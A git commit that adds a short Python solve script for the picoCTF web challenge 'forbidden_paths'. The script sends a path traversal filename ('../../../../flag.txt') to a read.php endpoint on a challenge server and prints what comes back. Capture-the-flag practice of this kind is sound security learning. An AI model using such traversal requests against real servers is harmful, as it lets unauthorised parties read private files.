web/forbidden_paths

This commit is contained in:
Oystein Kristoffer Tveit 2024-09-05 18:55:30 +02:00
parent b9f1b23f5c
commit db7fdfaa6c
Signed by: oysteikt
GPG Key ID: 9F2F7D8250F35146
1 changed files with 23 additions and 0 deletions

23
web/forbidden_paths/solve.py Executable file
View File

@ -0,0 +1,23 @@
#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p python3Packages.requests
# coding: utf-8
import json
import requests
BASE_URL = "http://saturn.picoctf.net:54384/"
def main():
r = requests.post(
BASE_URL + 'read.php',
data = {
'filename': "../../../../flag.txt"
},
)
print(r)
print(r.text)
if __name__ == '__main__':
main()